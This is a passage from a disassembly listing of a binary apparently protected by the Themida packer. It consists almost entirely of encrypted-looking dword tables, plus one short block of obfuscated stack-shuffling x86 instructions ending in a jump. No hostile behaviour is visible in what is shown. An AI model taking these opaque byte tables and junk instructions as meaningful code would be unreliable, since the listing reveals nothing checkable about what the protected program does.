		dd 0A5ADF936h, 528C88A7h, 0B7FB75h, 0ADF99CBEh,	89937EE5h
		dd 0F4C7009Dh, 6063921Dh, 0DE19h, 9 dup(0)
		dd 0B72E9h, 945F6800h, 0BCE90619h, 68FFFAEAh, 61995A9h
		dd 0FAEAB2E9h, 96CF68FFh, 0A8E90619h, 68FFFAEAh, 619977Ch
		dd 0FAEA9EE9h, 984168FFh, 94E90619h, 68FFFAEAh,	6199968h
		dd 0FAEA8AE9h, 9A4768FFh, 80E90619h, 68FFFAEAh,	6199C41h
		dd 0FAEA76E9h, 9D3768FFh, 6CE90619h, 0C6FFFAEAh, 7A57A916h
		dd 35126459h, 0EFCC1E9Dh, 0A481D3E6h, 0FF388A33h, 0DDE0F7B9h
		dd 9623AE8Bh, 4E716744h, 4B71FFCh, 181EA6B2h, 580B7B32h
		dd 13E44B46h, 0ABB1F9A5h, 57EB9A92h, 0BF8CD4FCh, 149E517h
		dd 1B58FB28h, 82543183h, 13818D39h, 6535FAACh, 4AA24E6Dh
		dd 5D3A7F3h, 0B58B2CAEh, 12AA8A76h, 343A02CAh, 580B4D4Eh
		dd 0C70B3A62h, 5E04FFCBh, 0BE8BD3FBh, 7951A318h, 7A9DA9A2h
		dd 0BEED59CDh, 509823B3h, 109C8288h, 88B05E24h,	75E3EF59h
		dd 0ECB981C9h, 5DA1D0E9h, 641739FEh, 7CEECCF4h,	4D327853h
		dd 9965563h, 6B710000h,	0AE250254h, 0F2E0BD0Fh,	3B9A77C9h
		dd 884F2C7Eh, 0EAAE335h, 368835A2h, 0EF417859h,	0A7F9C612h
		dd 5DAF0CCAh, 0DDC3C951h, 0F1580B7Bh, 40178FF6h, 0F4224F41h
		dd 0DAE51402h, 0AA77BFFCh, 0BFFED92Bh, 0F423BB13h, 62597D8Ah
		dd 1AC63410h, 34D005D2h, 19711D9Eh, 844C5281h, 0F0E820B7h
		dd 748B37CFh, 8314ECD3h, 5C8B2328h, 0E6008518h,	1FCBF357h
		dd 6DFF7D9h, 64557C58h,	9528ABB8h, 0F5DBE1E9h, 95806DFh
		dd 0C9896DE1h, 7E4B21E8h, 61B9655Ah, 29A2E032h,	0F8D8F63Ch
		dd 42C2h, 0A513D900h, 0E8ABB1F9h, 0B657E502h, 0BA9CE28Eh
		dd 3F580602h, 8D737994h, 0A1580602h, 2835E179h,	54C04FAFh
		dd 5BD64DA1h, 20C217C3h, 0DD94C062h, 0C91AD76Dh, 0A486A31h
		dd 0D8FBD491h, 0D12AF8h, 12410000h, 3E4BF7C4h, 6B782499h
		dd 97A4506Bh, 142A7C3Fh, 51F1EC25h, 479922B4h, 3E9A6C6Ah
		dd 313DE981h, 0CDD31BC3h, 57E50592h, 0EAC61840h, 0BF8CD47Ch
		dd 7076A518h, 0FADD3E6Ah, 5EA6CE5Dh, 0E2C8CE96h, 0F65E1CBDh
		dd 43949FCEh, 0E3F410C5h, 3ED62EDAh, 607754A6h,	94404F9Eh
		dd 0E27AE66Ah, 94817004h, 75836D38h, 84Ch, 4C9E21BBh, 759646Fh
		dd 0C113A82Ah, 76C8F1E4h, 2D7F3E99h, 0EBECC4F4h, 2EA380D2h
		dd 7C5C398Bh, 0C214F143h, 139BA7F9h, 0B7D270Dh,	0D9403B58h
		dd 42C24017h, 0E82CD8A3h, 8A9B5F91h, 0D40310A7h, 0D9FA0EC9h
		dd 48E038E4h, 87511EF6h, 0D8FE0938h, 0E859A52Eh, 7A5CC9B5h
		dd 60B864FCh, 622C1218h, 184051F2h, 13752E80h, 0ABB1F9A5h
		dd 57E502E8h, 9CE28EB6h, 580602BAh, 7723963Fh, 0A24E6B6Ah
		dd 0C72A688Ch, 8DBCDE00h, 79A811C0h, 0D9D6580Dh, 3E2F06F8h
		dd 0D692A7E2h, 0D59D0332h, 95000000h, 7FAE0FC8h, 494F1798h
		dd 51F1E863h, 15204F77h, 0DBB2FAC1h, 0F6ACCCCDh, 7DE7161Bh
		dd 0AA566770h, 0EED4DAA2h, 251F2CCh, 7867ABDAh,	0C51F2D1h
		dd 0D926993Fh, 8792C1F8h, 3D1A6C4Fh, 6A762299h,	60C54FCh
		dd 57E5EACBh, 23FF5179h, 0BBC109B5h, 5DFBBEA0h,	0D8BEC48Ch
		dd 0EC5E1D9Eh, 0E91195C4h, 503D4A1h, 0E53DE9D0h, 5623FB4Dh
		dd 40F3E7Bh, 4E343AD3h,	625E1D9Fh, 0BAC4A23Ah, 373892CEh
		dd 7263F4Dh, 0FBE10000h, 3E9572C4h, 82502D7Fh, 0CB0AE739h
		dd 18BF9CEEh, 9E1A53A5h, 0A6F8C512h, 5FB108C9h,	17695682h
		dd 0CD1F9C3Ah, 4D3339C1h, 61580B7Eh, 0C512FF66h, 0F7CEA6F8h
		dd 878CC79h, 6E79A806h,	83389E68h, 9287FD7h, 0F6E6EA4Eh
		dd 0DF98EA82h, 4BF7C412h, 0D123983Eh, 0F1E7D9BBh, 428C6351h
		dd 413AA335h, 23919BCAh, 9E6B337Bh, 84DC8835h, 3A021155h
		dd 715857ECh, 43DEEA03h, 0FF47DFDFh, 0CF17A432h, 0FDA8E4F8h
		dd 84B350EDh, 7C3F9774h, 0DAFBC8D0h, 0ACDB33DFh, 448C34A2h
		dd 0FF620F3Eh, 9F7DA55Dh, 38902AE9h, 7924321Ch,	8E000006h
		dd 421F714Eh, 0FDDA2C91h, 0B794E6D5h, 6C499B1Eh, 0C700526Bh
		dd 0A518BFF1h, 5E5B7653h, 16A92F0Ch, 0CCEFE7C4h, 0E0E66E7Ah
		dd 580B7EFAh, 12AC130Eh, 3E4BF7C4h, 0A24A6498h,	1005901Bh
		dd 0F65ACC78h, 8536A054h, 9A62703Dh, 0F72A7B1h,	57039BFDh
		dd 4838BF40h, 9D354C9Dh, 3694F55h, 557D51F2h, 8DD81626h
		dd 71FEEDD6h, 7, 1AF1188h, 0D9680000h, 51F1E7F7h, 0A6A00F7Dh
		dd 0D8BB7F72h, 61297109h, 0F280755Bh, 0ABB18951h, 51F27FC5h
		dd 0EA19B1D9h, 32EADEE4h, 3D1A57ECh, 438B239Ah,	95B6076h
		dd 6511AA2Ch, 0FB43EB59h, 0FF5EC6F5h, 0C80DDA5Dh, 163EC2F1h
		dd 902F5A38h, 0C7D5BF38h, 5B4h,	0E4368953h, 9FF1CC07h
		dd 59AB10C2h, 0E60597Ch, 0C517A631h, 53842C8Ch,	963B186Ah
		dd 0E4F4D123h, 2AAC89DBh, 0AB333F91h, 0B7FBFA5h, 71D8D358h
		dd 4BF7C412h, 0DB23983Eh, 0C8F7C40Eh, 0CA88EC5Eh, 0C517A432h
		dd 0EDF1DE87h, 0B2B880FEh, 51F1F3CCh, 913D7C59h, 928C7339h
		dd 6E48735Eh, 2B91C058h, 7, 0F31142h, 13680000h, 0E9B1F9A5h
		dd 5602BB1Ch, 728BCFFEh, 5A57EB9Ah, 7AA68C92h, 5429580Bh
		dd 0B39DB596h, 0F6254D13h, 3A024A72h, 0B574E34h, 8E7B6258h
		dd 6EEC6F2Eh, 0CED41CB4h, 580B74E8h, 9FA5D4FCh,	0F4C90AD7h
		dd 0B6C1F048h, 9412DC20h, 3FF8A1D3h, 41925FA7h,	4978D07Ch
		dd 917A5C39h, 0B6FA58Bh, 4B313758h, 5F580B70h, 1497137h
		dd 0B7015FBh, 69012958h, 0EEE8B5BDh, 26949ECDh,	302C327Ah
		dd 605E0523h, 29C8288h,	88B05E25h, 75219C3Bh, 703D851Dh
		dd 400D5566h, 0F6DB2891h, 0A78494C3h, 0D4E08C2Fh, 0A572BA66h
		dd 545A8930h, 182BEF4Eh, 0DFBDE564h, 327761BDh,	8D788670h
		dd 7A000004h, 2E0B5D62h, 0E9C618A5h, 0A380D2E9h, 58358732h
		dd 0B3EC3E7Fh, 912CAB05h, 4A6F623Fh, 2BD1BF8h, 0B803D3B0h
		dd 0CCD25A66h, 580B80E6h, 1198FFFAh, 141h, 0F9A51368h
		dd 9512E9B1h, 17356DDh,	8734A2EFh, 79FB1458h, 3D6557ECh
		dd 41272DF5h, 55580C5Ah, 2BF8FE2Dh, 0E1BE10ABh,	2A1016F5h
		dd 3E580C5Ah, 0CAD27E16h, 0B8E7D6FDh, 489040AEh, 9823B380h
		dd 216594ECh, 5E060D25h, 1F050BD3h, 0AC5E25EDh,	90E89425h
		dd 0EF73A2CAh, 0B1B77FC7h, 5E25ECCBh, 8288B7DFh, 529A21B5h
		dd 0EC9E848Ah, 0CBB25E25h, 9F6ED78Fh, 3C6B03BFh, 84874F2Ch
		dd 262E987Eh, 0A3C5AC5Eh, 11573E4Bh, 0FBB53EBh,	209D3A07h
		dd 0E3ED1C74h, 7B81C975h, 641A011Ch, 9A0CEA12h,	0A732758Ch
		dd 3AEAFBDh, 83590000h,	0C60DEA3Ch, 0AC8A5F7h, 53825FB1h
		dd 0A0371466h, 2692CB1Dh, 1E704D8Ah, 0D7299041h, 8FE1DEFAh
		dd 459724B2h, 0C5ABB139h, 0D9580B81h, 0C41277DEh, 983E4BF7h
		dd 0C90EDB23h, 9129943Fh, 0F45E8DE5h, 0C87C1E82h, 0E1DAF80Eh
		dd 0ACB9F749h, 52FEEDF1h, 41h, 0F9A51369h, 5440ABB1h, 0F5CC57E5h
		dd 73707B71h, 66537EC8h, 0FDFF77CEh, 554E5DF6h,	327AA226h
		dd 64E6D65h, 76229939h,	0C9DFEF1Eh, 580690E6h, 52696Dh
		dd 7A57AF23h, 0EDFBA73Fh, 318h,	874A1744h, 0C9F0E532h
		dd 76498F9Ah, 0E1F5C2CAh, 0A7D62EDAh, 2F813A9Ch, 8B378452h
		dd 1163587Eh, 0CF17C735h, 0E53936C9h, 0D07CA457h, 618A88Ah
		dd 0F191B358h, 5A657340h, 0CD963C03h, 93C24E5Eh, 0D9CD3E27h
		dd 72C0F8h, 17D70000h, 85318E4Ah, 86F4FE2Dh, 5359B025h
		dd 51F1E86Dh, 29C15981h, 0FBC414E1h, 0C2C8F74Fh, 0E502F9BCh
		dd 0F39FC757h, 6E9714EBh, 3342B358h
		dd 84DEC004h, 74635806h, 43909D49h, 0C0C6CE7Ah,	580684DAh
		dd 0B014C6EEh, 72480F92h, 0E6B7079Bh, 6998E2F8h, 5607B17h
		dd 59F8D970h, 95857E82h, 0CD287F3Eh, 50B6E5E0h,	0F7h, 63567B48h
		dd 49305FB7h, 7D874A17h, 20CC645Bh, 488E99C8h, 1DBAC773h
		dd 4A8B58A0h, 0C9D6406Fh, 8F66AE0Dh, 4D52C693h,	44AEDD13h
		dd 0CA1C9F37h, 0F2DCC5B4h, 39825451h, 37380FE7h, 0BA7BB010h
		dd 65717CABh, 0E2370E56h, 6DBF8380h, 8933194Eh,	329AF632h
		dd 1F8D9903h, 925F276Fh, 74B7A3Fh, 57E59264h, 0A078CAF2h
		dd 71ECD2D8h, 28005806h, 6723C22h, 90285058h, 45E95761h
		dd 4A74F7FDh, 9AC25DFBh, 0EBC28A52h, 7ACBDBEAh,	6E54DAF1h
		dd 825E1DD9h, 0B7202B5Ah, 0D7B406h, 6C1297FEh, 0F68EF1EEh
		dd 92D69818h, 0C5D3BD38h, 1B4h,	0E4368953h, 9FF1CC07h
		dd 59AB10C2h, 0E60597Ch, 0C517A631h, 53842C8Ch,	963B186Ah
		dd 0E4F4D123h, 2AAC89DBh, 0AB333F91h, 0B83BFA5h, 71D8D358h
		dd 728E4A17h, 9289DD58h, 0EA962E20h, 7F586392h,	0C70FEC3Eh
		dd 13E9A2F4h, 0ABB1F9A5h, 57E502E8h, 9CE28EB6h,	580602BAh
		dd 5168923Fh, 0B1D932B8h, 0F805B149h, 0BC32DEDFh, 0F0B73A58h
		dd 338A4D1Ah, 0AE002F87h, 0A36EF7ECh, 28F0F8D9h, 6423C22h
		dd 0F9285058h, 0AD93h, 0C412AA00h, 993E4BF7h, 43327824h
		dd 0D251F1ECh, 8D65B704h, 4FA617C0h, 3A0A3E5Bh,	5C679654h
		dd 8995417Ah, 252B731Bh, 57E5C482h, 0BA96E810h,	8F5CA44Ch
		dd 0D8BEC447h, 0EC5806A3h, 28802CC4h, 0C9EDF3F9h, 595DFB77h
		dd 7312E931h, 0E345B00Fh, 0DBA8AEDDh, 926FC1FCh, 0AA15C345h
		dd 0DAE1F1FEh, 0EECCAA42h, 7B389308h, 0BE8391h,	93490000h
		dd 0D6FDDA2Ch, 1AB895E7h, 63724FA1h, 0B0270456h, 3682BB0Dh
		dd 0E605D7Ah, 0C719A031h, 7FD1EEEAh, 358734A2h,	0B59BA129h
		dd 0C9580B84h, 0C51267CEh, 1CEA6F8h, 0E63EEAD1h, 912AACB7h
		dd 0C412863Fh, 0F1E2AFF7h, 26339DCCh, 0DDB90BB0h, 7177BF6Fh
		dd 57EB9A8Dh, 38854E1Bh, 0B15D8509h, 8467D2A9h,	8733884Eh
		dd 0A8D82Fh, 0C80E1948h, 12C4A1F3h, 15B7FDA9h, 0B14B7A7Ch
		dd 34FC0D4Dh, 9C5C482Eh, 0DD345C6Bh, 0D9CC5AF5h, 3F4A795Ah
		dd 886E7497h, 9C6B9C72h, 0AD8ADC74h, 0D9E69229h, 0BC11BDFCh
		dd 12C4781Ah, 0B27F57A9h, 616C9B20h, 8C9A4675h,	8, 0DDE0F7C4h
		dd 7DE4C7AEh, 49F5CA12h, 75219A3Ch, 0A34F7068h,	0D27E3B96h
		dd 0FFAB12C5h, 2CD8E5F2h, 5703B61Fh, 8733884Ah,	0B864597Ah
		dd 0E6895633h, 4C681h, 0B8500000h, 4, 8758C629h, 525C2434h
		dd 0C281E289h, 4, 8704EA83h, 895C2414h
		db 0Ch,	24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], edi
		push	5864h
		mov	[esp], ebx
		mov	ebx, 74910FAFh
		mov	ecx, 72889C1Bh
		xor	ecx, ebx
		pop	ebx
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	edi
		push	ebx
		mov	ebx, 8
		add	ebx, 52C94D69h
		add	ebx, edi
		sub	ebx, 52C94D69h
		mov	[ebx], ecx
		pop	ebx
		mov	edi, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		mov	ecx, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_5509FF
; ---------------------------------------------------------------------------
		dd 744CDDDFh, 0C42A9AC5h, 0B8B65E68h, 6199E1Ah,	0E0FFC503h
		dd 3E9ABC72h, 0D6DCC83h, 161830D2h, 7EA70D62h, 1C7A3926h
		dd 1A11DD36h, 5413302Bh, 85AEA30h, 3FA360A9h, 0F580F9Bh
		dd 30B17359h, 359AE94Dh, 6C8BDFDFh, 5DC7B5C3h, 0A0068D8Dh
		dd 6A0619h, 3E850h, 58200000h, 448958C3h, 44810424h, 150424h
		dd 50400000h, 525841C3h, 2205B529h, 60580614h, 1AD5B58Bh
		dd 9D8B0614h, 61421BDh,	298D8961h, 6A061432h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 14042444h, 47000000h
		dd 8B03C357h, 85B58BC1h, 0C7061425h, 14064D85h,	5C4C06h
		dd 53006A00h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1B04h
		dd 0C3534300h, 0D6AA2F1Ah, 0C83EB682h, 267185C7h, 614h
		dd 1F90000h, 142E0D9Dh,	91B5FF06h, 6A061405h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 16042444h, 47000000h
		dd 7411C357h, 95FFF5C8h, 6142361h, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 17h, 0BDC35747h,	0F9231298h, 1921858Bh
		dd 6A0614h, 116995FFh, 0C08B0614h, 0DF9A7FEBh, 610CB1B6h
		dd 50B2652Bh, 0C7B8FC45h, 4E9D307Fh, 0C05924EFh, 8C06DCDFh
		dd 1C09A99Eh, 11E6A0B6h, 8575461Eh, 0A8383968h,	687135EDh
		dd 58CD9165h, 36B3F9EBh, 359C9D1Eh, 5382F52Ah, 967DDCCCh
		dd 82C94D4Bh, 0EE4D2EDFh, 152DDA59h, 0F68451C5h, 5A2D11E7h
		dd 2BA5FB6Ah, 0E6F12939h, 0DB1458D0h, 6CF4E4E2h, 0E0B90171h
		dd 0DD07536Bh, 5C375724h, 5EE2C54Ch, 0CBD6C508h, 55E1EC52h
		dd 0EE9CAh, 0EE9E0000h,	339C4EC4h, 77E7h, 0
		dd 0D72E9h, 0A22C6800h,	74E90619h, 68FFFADDh, 619A30Ah
		dd 0FADD6AE9h, 0A46B68FFh, 60E90619h, 68FFFADDh, 619A5D1h
		dd 0FADD56E9h, 0A7A368FFh, 4CE90619h, 68FFFADDh, 619A9BAh
		dd 0FADD42E9h, 0AB5968FFh, 38E90619h, 68FFFADDh, 619AC8Ah
		dd 0FADD2EE9h, 0E7D804FFh, 0A21BB895h, 5C5F7350h, 11A82D0Ah
		dd 0C8F5E2BFh, 357B3D76h, 0ECC91BA2h, 0A582D4E5h, 5D3A8C33h
		dd 0E4F04279h, 8870565Ch, 8984580Bh, 42C41222h,	28802C91h
		dd 0FFD7E490h, 208E6ABCh, 8F222870h, 7B57E539h,	0EC9825AEh
		dd 1AC6F9DFh, 77FB2AC2h, 7B5DA34Fh, 86580619h, 15F5E3B0h
		dd 0F74FFBC2h, 0BCDE305Fh, 0D9BD3E27h, 2CC0F8h,	13D70000h
		dd 0ABB1F9A5h, 57E502E8h, 506B6734h, 991D4CA4h,	0F0BDC571h
		dd 63A7D6E7h, 58060381h, 0B3286A8Ch, 0F8D9D6B2h, 0DF4Ch
		dd 0C4126300h, 6C434BF7h, 30F2C311h, 3641704Eh,	4C6F67A1h
		dd 68B048A0h, 95E95491h, 0D3CBCA4h, 7B4096A3h, 0A714C2CFh
		dd 218C3F55h, 23B351F2h, 6D694698h, 2896A24Eh, 0E0DBFBC8h
		dd 7056DC34h, 8451F221h, 767CC45Ch, 57E53A3Bh, 813E9A67h
		dd 0CA4E7DD5h, 448D5AA2h, 184F1E75h, 8DBF1D94h,	4724E5Eh
		dd 8C47145Ch, 0B460597Ch, 0C018C45Ch, 59858B91h, 0E95DFB2Ch
		dd 2BAC79C1h, 0A0684092h, 1D0CB49Ah, 58A0C85Eh,	1D0D6C52h
		dd 2958805Eh, 2604B91Eh, 38936E8Ch, 42D5E3CDh, 3E00000Bh
		dd 0F2CF219Eh, 0AD8ADCE1h, 67449625h, 1CF94B6Eh, 77B002BBh
		dd 55686F41h, 0EAB2603h, 0C6F9DFBCh, 7C3F9774h,	90961E2Ah
		dd 580B89AAh, 125CC3BEh, 5C4248C5h, 7051F1E8h, 815EB048h
		dd 5B146655h, 63494F17h, 7751F1E8h, 0A816204Fh,	0CAD9B0F8h
		dd 1BF2A7C7h, 49959853h, 0C159A6FFh, 0C3868C92h, 9157E583h
		dd 9577BD69h, 0A0580682h, 9EC7DC7Eh, 60F8D956h,	0C4h, 73468B58h
		dd 59406FC7h, 4BF7C412h, 7824993Eh, 0F1ED7F32h,	0D630A651h
		dd 0BB13BFFCh, 0E2F4D123h, 0B3212DD9h, 82BDC30Bh, 3057E506h
		dd 7DEB608h, 0FADCCD33h, 66BD15C1h, 0E716567Ah,	77BF6FDDh
		dd 0FB4D5671h, 549CC45Dh, 19B85087h, 2ECA53E1h,	0A63EF6E2h
		dd 0F8DFBC0Eh, 86D5E7C5h, 0AE983893h, 0A64A0h, 0FFC01C00h
		dd 0BA03D0ADh, 74478B68h, 29904522h, 0E0DDFAD7h, 4D63558Eh
		dd 4E1338Ah, 0BD9AECCDh, 7552A41Bh, 0FC085A61h,	8B886E74h
		dd 0A19C580Bh, 0F8C5123Ah, 0CBEEE3B0h, 2B11171Fh, 3F51F1E8h
		dd 9F327F17h, 0E7166E1Ah, 0DFDCFAD7h, 0E3C9CF97h, 0F751F1E7h
		dd 67FFBC1Ah, 83502838h, 553C6B4Eh, 63494F17h, 7751F1E8h
		dd 0C115204Fh, 95414EFAh, 8AF8D426h, 0D9989EE6h, 8F57E51Ah
		dd 9275BB67h, 9F5805F9h, 9FC6DD7Dh, 5FF8D9DBh, 695h, 5FF38057h
		dd 441CA414h, 0A5132E15h, 0F3E4B1F9h, 53FFBE15h, 2E3463FBh
		dd 70018F66h, 134A73E0h, 46E1A0E4h, 0BF9757E5h,	625D3B9h
		dd 0CC0AE758h, 53EB43EFh, 0E7C90FBBh, 0F2580625h, 0B27FB2D0h
		dd 0FD699825h, 0F8D9AF68h, 64896h, 0A513AD00h, 0F2E4B1F9h
		dd 96C51DC9h, 1B878A90h, 0ADD557E5h, 0FBD9BB01h, 0EE45805h
		dd 7D299041h, 0E6A4F625h, 0D9D978EDh, 840FE6F8h, 13135D17h
		dd 12187EADh, 2F000006h, 60CE6BD1h, 176268B0h, 0E557E502h
		dd 0EDC81CBDh, 55E3F84Ch, 0E9EF37E7h, 0EA0E5DC2h, 11E83058h
		dd 0A365CB84h, 0A40E3DFFh, 3E862A98h, 22334338h, 54D75F0h
		dd 5A63703Dh, 1C2756AEh, 0D2AF01BAh, 0EDD9B704h, 94A66D47h
		dd 9039CAAh, 5F7D0000h,	0A2310E60h, 0E6ECC91Bh,	2FA683D5h
		dd 7C5B388Ah, 2B6EF41h,	429429AEh, 0FB4D6C65h, 0B305BA1Eh
		dd 69BB00D6h, 0E9CFD55Dh, 0FD580B8Bh, 4F179B02h, 0F1E86349h
		dd 204F7751h, 4EFAC115h, 0E42CD442h, 33864F1Ch,	0BC002F87h
		dd 57EB8947h, 0E9FF5179h, 580B87D7h, 87D5BBC1h,	0C1E9580Bh
		dd 70C6936Ah, 0B54D9055h, 0F6C511DCh, 0B35BC8A4h, 82379E6Bh
		dd 0B8854D53h, 2E72A11Ah, 580B5730h, 0FBC215E2h, 0EC9825AEh
		dd 0B9E16594h, 30D6000Dh, 106814A5h, 15AD10C3h,	1D23EBC3h
		dd 580B5737h, 7653644Bh, 0E0054034h, 0E3D51948h, 88580BCAh
		dd 0A318BA50h, 7ECC30Bh, 0B574E81Bh, 0F0CDDD0Ch, 0E329D5E6h
		dd 580B2301h, 0B8F0C75Fh, 89B6290Fh, 0B1D12352h, 18605B7Bh
		dd 86328D4Bh, 12EFFF2Eh, 5B4147C4h, 6F580B3Eh, 44AFA388h
		dd 942CE89Ch, 280A50FCh, 0AD580A5Fh, 0DEEB9726h, 0A719C5FAh
		dd 0DA20743h, 0C1152F6Bh, 832F8E45h, 744B932Bh,	4490965Fh
		dd 1D2D5C3Fh, 1343Fh, 0C4129600h, 9A3E4BF7h, 4D337925h
		dd 0DA51F1E8h, 0A077BFFCh, 1174AD93h, 0F8629154h, 1C227EECh
		dd 51F29336h, 428A224Ah, 4D5C6C6Bh, 7EC6235Ah, 0F2A39278h
		dd 4F7EA651h, 45CE4349h, 0D80057ECh, 0A436D6FAh, 0C7D5BF3Eh
		dd 79Dh, 74C6F9E3h, 2F813C97h, 0E93B8052h, 9EF0C90Ch, 55A716C1h
		dd 0C3149C1Ch, 6CBA8FAh, 548461B3h, 9A3C196Bh, 3BC3CF21h
		dd 0B8D4F35h, 1686358h,	308D4A17h, 0DBE0F601h, 8B5222Fh
		dd 0BFFD9B6h, 85AF2CDh,	8A746330h, 8420EBC3h, 0D8841CAAh
		dd 4B00BCBh, 0DAE514ACh, 0F1CE0AFCh, 0E28E2FA4h, 0C3A0F28Ah
		dd 0F0FDA914h, 3A2026E7h, 4E51F25Dh, 70E28E26h,	21B64E0Ch
		dd 4C87549Ch, 5CD5BBC1h, 0C1E951F2h, 0D8257D29h, 0B810BCFDh
		dd 2A3B7989h, 0D4FEED7Dh, 7, 0B611EBh, 17680000h, 0B8092F40h
		dd 0F9283C88h, 27D3E8EEh, 0F1E3FFE1h, 0FE63C51h, 7048DC99h
		dd 5B81BDDh, 3A690159h,	4492AAE8h, 90482577h, 5A3D832Fh
		dd 0C151F21Dh, 3F9953EFh, 1CE4CAD0h, 1BF851F2h,	0FF5703B6h
		dd 0A57DCF67h, 90BF00D8h, 44C612A9h, 257D2992h,	11D9E18Dh
		dd 0F1E8250Bh, 0E2113951h, 12BE01D7h, 3EEAD105h, 6D19A031h
		dd 92173357h, 0FA00C8E0h, 51F1E814h, 0CBB96A97h, 0D399013Bh
		dd 682A7CABh, 69BB04D4h, 0F1EFC453h, 0CC9A4851h, 34FEED06h
		dd 0FFFFFE82h, 494F174Bh, 51F1E863h, 0E809EFF5h, 0F51D51F1h
		dd 0CCD8072Fh, 311h, 1C9F3704h,	2E91870h, 9042C412h, 0C7F4DE2Bh
		dd 7F2BC31Bh, 0D12DAA77h, 82E3EE06h, 5B8A220Ah,	0F2BE2517h
		dd 1CE9C151h, 15905B6h,	0EF9B24B4h, 74166897h, 53A516C0h
		dd 979C6076h, 32C8588Fh, 0EE9A25B3h, 0BA66FE96h, 0F2B48274h
		dd 725F2C51h, 0C90D1847h, 0CC3A46F2h, 0A753666Fh, 0EB83389Ah
		dd 3D430B53h, 51F2B557h, 0E14436Bh, 5E5D7946h, 0E72B5AB2h
		dd 57EC5672h, 3C9E7CA4h, 6D3EA425h, 5CB7583h, 27B50000h
		dd 6A694698h, 0AE240153h, 0F7DEBB0Dh, 449370C2h, 0CAEE2779h
		dd 7ACCF1E6h, 3385349Dh, 0EB3D8256h, 0A1F3C80Eh, 21070D95h
		dd 35580B8Fh, 0C412D33Ah, 993E4BF7h, 0E1F5D224h, 2CAB88DAh
		dd 597C4991h, 0BAC73160h, 0E7F4A01Dh, 1825D1ECh, 0E05602BBh
		dd 29DBDE7Ch, 686F85C5h, 0A0C50355h, 5EFEEDEDh,	225h, 43A61375h
		dd 5A5F7292h, 12BE56AEh, 6E7622BAh, 0C4DA7B97h,	0A800AC0Dh
		dd 0AE473251h, 896B3B7Fh, 3052AE9Fh, 4CEC7912h,	0F612FFFEh
		dd 29000001h, 2F8C4A17h, 0F2FC2B83h, 11AA2885h,	452B3179h
		dd 0D751F1E8h, 28E7C500h, 34B60DAEh, 0B93D6C74h, 0CF9FE591h
		dd 0B6AE9F31h, 88DDF694h, 76FFFEA3h, 1C1h, 43A6138Dh, 237B2792h
		dd 433D438Bh, 6F51F1E8h, 3137FF47h, 51F1E84Bh, 9E08375Fh
		dd 9EE78858h, 0D1996FAEh, 0E0E6E5CBh, 0A2D1F950h, 0CC993250h
		dd 32FFFEEEh, 189h, 0F8A61349h,	0E7ACAAB0h, 0B8E051F1h
		dd 0E6F6C60Ch, 0BBDDAE9Eh, 369D6A9Fh, 5483DB87h, 0FEEE7DE8h
		dd 16381FFh, 17980000h,	2318E4Ah, 30DCDFF7h, 0B608B323h
		dd 7CC46CDAh, 0E538E376h, 63745157h, 956AE5Ah, 0EA42EECDh
		dd 1D330A52h, 690FCC94h, 0D01680AFh, 58062FEEh,	20BBD7F9h
		dd 0F8D9A645h, 654B5119h, 79580638h, 31BC2251h,	0D3000000h
		dd 0B1F9A513h, 0E502E8ABh, 0E28EB657h, 602BA9Ch, 27EFC558h
		dd 6033B21h, 804BBE58h,	8ABF6A18h, 1B6D9CC4h, 9201647Fh
		dd 0B9FDF8D9h, 14000000h, 0E3154017h, 87A56BEEh, 0F2699B81h
		dd 0EF87AF51h, 0DB21B5C0h, 0AF4CB66Dh, 2F770FA9h, 533A6858h
		dd 0FFE33A85h, 0C2FBD8E5h, 8491FB2Ah, 0B6BE6A53h, 25D1E8E9h
		dd 43939ECDh, 17BFCC78h, 893C52A4h, 0B051F228h
dword_5A3568	dd 67439526h, 70D55F9h,	57E6FD6Eh, 71488956h, 0BA3E6DC5h
					; DATA XREF: Themida_:0056F554o
		dd 5A7D4A92h, 0A3341163h, 0DD7E646Ah, 6A925808h, 9EF0F4D2h
		dd 0E3CD3EA7h, 3B4D5h, 0AF10CC00h, 6A53805Dh, 24973B18h
		dd 0D9E0F5D2h, 902DAA87h, 0FDB3053Eh, 0B491E3DAh, 6D4A9C1Dh
		dd 2502546Bh, 0ACB80AB1h, 91381E24h, 514C580Bh,	0F8C512EAh
		dd 0AE0DC9A6h, 0B2989E66h, 0C651F1E7h, 0A65F6F9Eh, 4BF7C412h
		dd 0DB23983Eh, 4CF8C50Eh, 0E8583E44h, 446C51F1h, 45785FACh
		dd 0DF00616h, 9951F1E8h, 83B20BCCh, 1B630B79h, 0E51DEA15h
		dd 0FE507857h, 0F7C41245h, 0FBE1E7AFh, 0F51F1E7h, 414EB8E7h
		dd 0F8D42695h, 989EE68Ah, 57E53905h, 599F4B73h,	58061877h
		dd 0A9226082h, 0F8D9BDBCh, 6CFCBA2h, 4AA11AB8h,	0D2011FA1h
		dd 766Ch, 40178300h, 2723EE42h,	777DC501h, 51F2C591h, 444E7DA5h
		dd 0A85C75D6h, 60F89029h, 0E14F1218h, 401D57E5h, 227A2697h
		dd 0E0EED4DAh, 0DA025806h, 5F23FA42h, 70EEAE2Bh, 91990332h
		dd 7DAC0DC4h, 6585739h,	0BF8C6258h, 0EDFAA619h,	0CF27D3EAh
		dd 2D7FE037h, 0E5E24D48h, 0AD2664B6h, 0F8D92FB8h, 0E346h
		dd 84673E00h, 20B35DACh, 0A6B1979Dh, 9DC55806h,	12EFD605h
		dd 3E4BF7C4h, 6B782499h, 3108506Bh, 8250AA91h, 51686DBEh
		dd 13208AB9h, 90A6F8C3h, 51F275DDh, 97E9D204h, 0E9EF1CBAh
		dd 51F27503h, 0F57EF17h, 0F9289542h, 6915838Fh,	0C6781B21h
		dd 0DE0657E5h, 9E42B08Ch, 11C18E56h, 0B4377BAAh, 25DFB7Eh
